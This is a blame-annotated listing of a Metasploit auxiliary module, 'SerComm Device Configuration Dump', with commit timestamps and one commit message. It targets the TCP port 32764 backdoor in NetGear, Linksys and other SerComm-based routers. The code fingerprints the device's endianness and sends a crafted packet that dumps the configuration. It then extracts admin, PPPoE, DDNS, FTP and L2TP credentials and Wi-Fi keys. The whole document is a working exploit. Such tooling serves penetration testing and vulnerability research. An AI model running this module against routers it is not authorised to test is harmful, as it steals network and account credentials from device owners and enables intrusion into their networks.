2014-01-09 19:42:11 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2014-01-09 19:42:11 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
2014-01-03 01:42:42 +00:00
|
|
|
require 'msf/core'
|
|
|
|
require 'msf/core/auxiliary/report'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2014-01-03 01:42:42 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
|
2014-01-09 19:42:11 +00:00
|
|
|
SETTINGS = {
|
|
|
|
'Creds' => [
|
|
|
|
[ 'HTTP Web Management', { 'user' => /http_username=(\S+)/i, 'pass' => /http_password=(\S+)/i } ],
|
2014-01-14 23:00:00 +00:00
|
|
|
[ 'HTTP Web Management Login', { 'user' => /login_username=(\S+)/i, 'pass' => /login_password=(\S+)/i } ],
|
2014-01-09 19:42:11 +00:00
|
|
|
[ 'PPPoE', { 'user' => /pppoe_username=(\S+)/i, 'pass' => /pppoe_password=(\S+)/i } ],
|
2014-01-14 04:15:51 +00:00
|
|
|
[ 'PPPoA', { 'user' => /pppoa_username=(\S+)/i, 'pass' => /pppoa_password=(\S+)/i } ],
|
2014-01-09 19:42:11 +00:00
|
|
|
[ 'DDNS', { 'user' => /ddns_user_name=(\S+)/i, 'pass' => /ddns_password=(\S+)/i } ],
|
2014-01-14 04:15:51 +00:00
|
|
|
[ 'CMS', {'user' => /cms_username=(\S+)/i, 'pass' => /cms_password=(\S+)/i } ], # Found in some cameras
|
|
|
|
[ 'BigPondAuth', {'user' => /bpa_username=(\S+)/i, 'pass' => /bpa_password=(\S+)/i } ], # Telstra
|
|
|
|
[ 'L2TP', { 'user' => /l2tp_username=(\S+)/i, 'pass' => /l2tp_password=(\S+)/i } ],
|
|
|
|
[ 'FTP', { 'user' => /ftp_login=(\S+)/i, 'pass' => /ftp_password=(\S+)/i } ],
|
2014-01-09 19:42:11 +00:00
|
|
|
],
|
|
|
|
'General' => [
|
|
|
|
['Wifi SSID', /wifi_ssid=(\S+)/i],
|
|
|
|
['Wifi Key 1', /wifi_key1=(\S+)/i],
|
|
|
|
['Wifi Key 2', /wifi_key2=(\S+)/i],
|
|
|
|
['Wifi Key 3', /wifi_key3=(\S+)/i],
|
2014-04-26 13:52:31 +00:00
|
|
|
['Wifi Key 4', /wifi_key4=(\S+)/i],
|
|
|
|
['Wifi PSK PWD', /wifi_psk_pwd=(\S+)/i]
|
2014-01-09 19:42:11 +00:00
|
|
|
]
|
|
|
|
}
|
|
|
|
|
|
|
|
attr_accessor :endianess
|
2014-01-14 23:00:00 +00:00
|
|
|
attr_accessor :credentials
|
2014-01-09 19:42:11 +00:00
|
|
|
|
2014-01-03 01:42:42 +00:00
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => "SerComm Device Configuration Dump",
|
|
|
|
'Description' => %q{
|
2014-01-09 19:42:11 +00:00
|
|
|
This module will dump the configuration of several SerComm devices. These devices
|
2014-01-13 20:27:03 +00:00
|
|
|
typically include routers from NetGear and Linksys. This module was tested
|
|
|
|
successfully against the NetGear DG834 series ADSL modem router.
|
2014-01-03 01:42:42 +00:00
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
2015-04-03 11:12:23 +00:00
|
|
|
'Eloi Vanderbeken <eloi.vanderbeken[at]gmail.com>', # Initial discovery, poc
|
|
|
|
'Matt "hostess" Andreko <mandreko[at]accuvant.com>' # Msf module
|
2014-01-03 01:42:42 +00:00
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
2016-07-15 17:00:31 +00:00
|
|
|
[ 'OSVDB', '101653' ],
|
2014-01-09 19:42:11 +00:00
|
|
|
[ 'URL', 'https://github.com/elvanderb/TCP-32764' ]
|
2014-01-03 01:42:42 +00:00
|
|
|
],
|
|
|
|
'DisclosureDate' => "Dec 31 2013" ))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(32764),
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
2016-02-01 22:06:34 +00:00
|
|
|
print_status("Attempting to connect and check endianess...")
|
2014-01-14 23:02:30 +00:00
|
|
|
@endianess = fingerprint_endian
|
2014-01-14 23:00:00 +00:00
|
|
|
@credentials = {}
|
2014-01-03 01:42:42 +00:00
|
|
|
|
2014-01-09 19:42:11 +00:00
|
|
|
if endianess.nil?
|
|
|
|
print_error("Failed to check endianess, aborting...")
|
|
|
|
return
|
|
|
|
end
|
2016-02-01 22:06:34 +00:00
|
|
|
print_good("#{string_endianess} device found...")
|
2014-01-03 01:42:42 +00:00
|
|
|
|
2016-02-01 22:06:34 +00:00
|
|
|
print_status("Attempting to connect and dump configuration...")
|
2014-01-09 19:42:11 +00:00
|
|
|
config = dump_configuration
|
|
|
|
|
|
|
|
if config.nil?
|
2016-02-01 22:06:34 +00:00
|
|
|
print_status("Error retrieving configuration, aborting...")
|
2014-01-09 19:42:11 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
loot_file = store_loot("router.config", "text/plain", rhost, config[:data], "#{rhost}router_config.txt", "Router Configurations")
|
2016-02-01 22:06:34 +00:00
|
|
|
print_status("Router configuration dump stored in: #{loot_file}")
|
2014-01-09 19:42:11 +00:00
|
|
|
|
|
|
|
parse_configuration(config[:data])
|
|
|
|
end
|
2014-01-03 01:42:42 +00:00
|
|
|
|
2015-07-22 06:11:43 +00:00
|
|
|
def report_cred(opts)
|
|
|
|
service_data = {
|
|
|
|
address: opts[:ip],
|
|
|
|
port: opts[:port],
|
|
|
|
service_name: opts[:service_name],
|
|
|
|
protocol: 'tcp',
|
|
|
|
workspace_id: myworkspace_id
|
|
|
|
}
|
|
|
|
|
|
|
|
credential_data = {
|
|
|
|
origin_type: :service,
|
|
|
|
module_fullname: fullname,
|
|
|
|
username: opts[:user],
|
|
|
|
private_data: opts[:password],
|
|
|
|
private_type: :password
|
|
|
|
}.merge(service_data)
|
|
|
|
|
|
|
|
login_data = {
|
|
|
|
core: create_credential(credential_data),
|
|
|
|
status: Metasploit::Model::Login::Status::UNTRIED,
|
|
|
|
proof: opts[:proof]
|
|
|
|
}.merge(service_data)
|
|
|
|
|
|
|
|
create_credential_login(login_data)
|
|
|
|
end
|
|
|
|
|
2014-01-09 19:42:11 +00:00
|
|
|
private
|
2014-01-03 01:42:42 +00:00
|
|
|
|
2014-01-09 19:42:11 +00:00
|
|
|
def little_endian?
|
|
|
|
return endianess == 'LE'
|
|
|
|
end
|
|
|
|
|
|
|
|
def big_endian?
|
|
|
|
return endianess == 'BE'
|
|
|
|
end
|
|
|
|
|
|
|
|
def string_endianess
|
|
|
|
if little_endian?
|
|
|
|
return "Little Endian"
|
|
|
|
elsif big_endian?
|
|
|
|
return "Big Endian"
|
|
|
|
end
|
|
|
|
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def fingerprint_endian
|
|
|
|
begin
|
|
|
|
connect
|
|
|
|
sock.put(Rex::Text.rand_text(5))
|
2014-06-28 21:06:46 +00:00
|
|
|
res = sock.get_once(-1, 10)
|
2014-01-09 19:42:11 +00:00
|
|
|
disconnect
|
|
|
|
rescue Rex::ConnectionError => e
|
|
|
|
print_error("Connection failed: #{e.class}: #{e}")
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
|
|
|
|
unless res
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
|
|
|
|
if res.start_with?("MMcS")
|
|
|
|
return 'BE'
|
|
|
|
elsif res.start_with?("ScMM")
|
|
|
|
return 'LE'
|
|
|
|
end
|
|
|
|
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
|
|
|
|
def dump_configuration
|
|
|
|
if big_endian?
|
2014-01-09 20:33:04 +00:00
|
|
|
pkt = [0x4d4d6353, 0x01, 0x00].pack("NVV")
|
2014-01-09 19:42:11 +00:00
|
|
|
elsif little_endian?
|
2014-01-09 20:33:04 +00:00
|
|
|
pkt = [0x4d4d6353, 0x01, 0x00].pack("VNN")
|
2014-01-09 19:42:11 +00:00
|
|
|
else
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
|
|
|
|
connect
|
|
|
|
sock.put(pkt)
|
2014-06-28 20:48:58 +00:00
|
|
|
res = sock.get_once(-1, 10)
|
2014-01-09 20:33:04 +00:00
|
|
|
|
2014-01-03 01:42:42 +00:00
|
|
|
disconnect
|
|
|
|
|
2014-01-09 19:42:11 +00:00
|
|
|
if res.blank?
|
2016-02-01 22:06:34 +00:00
|
|
|
vprint_error("No answer...")
|
2014-01-03 01:42:42 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
|
2014-01-09 19:42:11 +00:00
|
|
|
if big_endian?
|
|
|
|
mark, zero, length, data = res.unpack("NVVa*")
|
|
|
|
else
|
|
|
|
mark, zero, length, data = res.unpack("VNNa*")
|
|
|
|
end
|
|
|
|
|
|
|
|
unless mark == 0x4d4d6353
|
2016-02-01 22:06:34 +00:00
|
|
|
vprint_error("Incorrect mark when reading response")
|
2014-01-09 19:42:11 +00:00
|
|
|
return nil
|
|
|
|
end
|
|
|
|
|
|
|
|
unless zero == 0
|
2016-02-01 22:06:34 +00:00
|
|
|
vprint_error("Incorrect zero when reading response")
|
2014-01-09 19:42:11 +00:00
|
|
|
return nil
|
|
|
|
end
|
2014-01-03 01:42:42 +00:00
|
|
|
|
2014-01-09 19:42:11 +00:00
|
|
|
unless length == data.length
|
2016-02-01 22:06:34 +00:00
|
|
|
vprint_warning("Inconsistent length / data packet")
|
2015-04-03 11:12:23 +00:00
|
|
|
# return nil
|
2014-01-09 19:42:11 +00:00
|
|
|
end
|
2014-01-03 01:42:42 +00:00
|
|
|
|
2014-01-09 19:42:11 +00:00
|
|
|
return { :length => length, :data => data }
|
|
|
|
end
|
2014-01-09 15:14:34 +00:00
|
|
|
|
2014-01-09 19:42:11 +00:00
|
|
|
def parse_configuration(data)
|
|
|
|
configs = data.split(?\x00)
|
|
|
|
|
|
|
|
if datastore['VERBOSE']
|
2014-01-09 14:19:13 +00:00
|
|
|
vprint_status('All configuration values:')
|
|
|
|
configs.sort.each do |i|
|
|
|
|
if i.strip.match(/.*=\S+/)
|
|
|
|
vprint_status(i)
|
|
|
|
end
|
2014-01-03 01:42:42 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2014-01-09 19:42:11 +00:00
|
|
|
configs.each do |config|
|
|
|
|
parse_general_config(config)
|
2014-01-14 23:00:00 +00:00
|
|
|
parse_auth_config(config)
|
2014-01-09 19:42:11 +00:00
|
|
|
end
|
2014-01-14 23:00:00 +00:00
|
|
|
|
|
|
|
@credentials.each do |k,v|
|
|
|
|
next unless v[:user] and v[:password]
|
2016-02-01 22:06:34 +00:00
|
|
|
print_status("#{k}: User: #{v[:user]} Pass: #{v[:password]}")
|
2015-07-22 06:11:43 +00:00
|
|
|
report_cred(
|
|
|
|
ip: rhost,
|
|
|
|
port: rport,
|
|
|
|
user: v[:user],
|
|
|
|
password: v[:password],
|
|
|
|
service_name: 'sercomm',
|
|
|
|
proof: v.inspect
|
|
|
|
)
|
2014-01-14 23:00:00 +00:00
|
|
|
end
|
|
|
|
|
2014-01-09 19:42:11 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def parse_general_config(config)
|
|
|
|
SETTINGS['General'].each do |regex|
|
|
|
|
if config.match(regex[1])
|
|
|
|
value = $1
|
2016-02-01 22:06:34 +00:00
|
|
|
print_status("#{regex[0]}: #{value}")
|
2014-01-03 01:42:42 +00:00
|
|
|
end
|
|
|
|
end
|
2014-01-09 19:42:11 +00:00
|
|
|
end
|
2014-01-09 15:14:34 +00:00
|
|
|
|
2014-01-14 23:00:00 +00:00
|
|
|
def parse_auth_config(config)
|
2014-01-09 19:42:11 +00:00
|
|
|
SETTINGS['Creds'].each do |cred|
|
2014-01-14 23:00:00 +00:00
|
|
|
@credentials[cred[0]] = {} unless @credentials[cred[0]]
|
2014-01-09 15:14:34 +00:00
|
|
|
|
|
|
|
# find the user/pass
|
2014-01-14 23:00:00 +00:00
|
|
|
if config.match(cred[1]['user'])
|
|
|
|
@credentials[cred[0]][:user] = $1
|
2014-01-09 15:14:34 +00:00
|
|
|
end
|
|
|
|
|
2014-01-14 23:00:00 +00:00
|
|
|
if config.match(cred[1]['pass'])
|
|
|
|
@credentials[cred[0]][:password] = $1
|
2014-01-09 15:14:34 +00:00
|
|
|
end
|
Fixed the credential parsing and made output consistent
So in the previous refactor, we made the dedicated method to parse
usernames and passwords from the split up config values. However, that
didn't work, because on a single iteration of the loop, you only have
access to a possible username OR password. The other matching key will
be another iteration of the loop. Because of this, no credential pairs
were being reported.
The only way I can see around this (maybe because I'm a ruby newb) would
be to iterate over configs, and if the user or password regex matches,
add the matching value to a hash, which is identified by a key for both
user & pass. Then upon completion of the loop, it'd iterate over the
hash, finding keys that had both user & pass values.
2014-01-14 03:57:25 +00:00
|
|
|
|
2014-01-09 15:14:34 +00:00
|
|
|
end
|
2014-01-03 01:42:42 +00:00
|
|
|
end
|
2014-01-09 19:42:11 +00:00
|
|
|
|
2014-01-03 01:42:42 +00:00
|
|
|
end
|